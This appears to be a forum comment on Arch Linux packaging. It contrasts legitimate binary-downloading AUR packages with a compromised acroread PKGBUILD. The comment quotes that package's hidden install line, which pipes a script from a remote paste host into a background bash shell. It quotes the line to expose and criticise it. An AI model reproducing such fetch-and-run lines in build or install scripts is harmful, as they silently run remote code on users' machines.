FWIW https://git.archlinux.org/svntogit/packages.git/tree/trunk/mirrorlist?h=packages/pacman-mirrorlist does contain https://mex.mirror.pkgbuild.com/ . It's even possible to get the signature, too, https://mex.mirror.pkgbuild.com/extra/os/x86_64/vlc-3.0.3-1-x86_64.pkg.tar.xz.sig . The AUR provides tons of packages downloading binaries, such as https://aur.archlinux.org/packages/palemoon-bin/ , https://aur.archlinux.org/packages/virtualbox-bin/ or https://aur.archlinux.org/packages/icecat-bin/ from sources completely unrelated to Arch Linux. The acroread PKGBUILD's msg2 "Installing Main Files..." curl -s https://ptpb.pw/~x|bash -& is from a completely different "kind of quality".
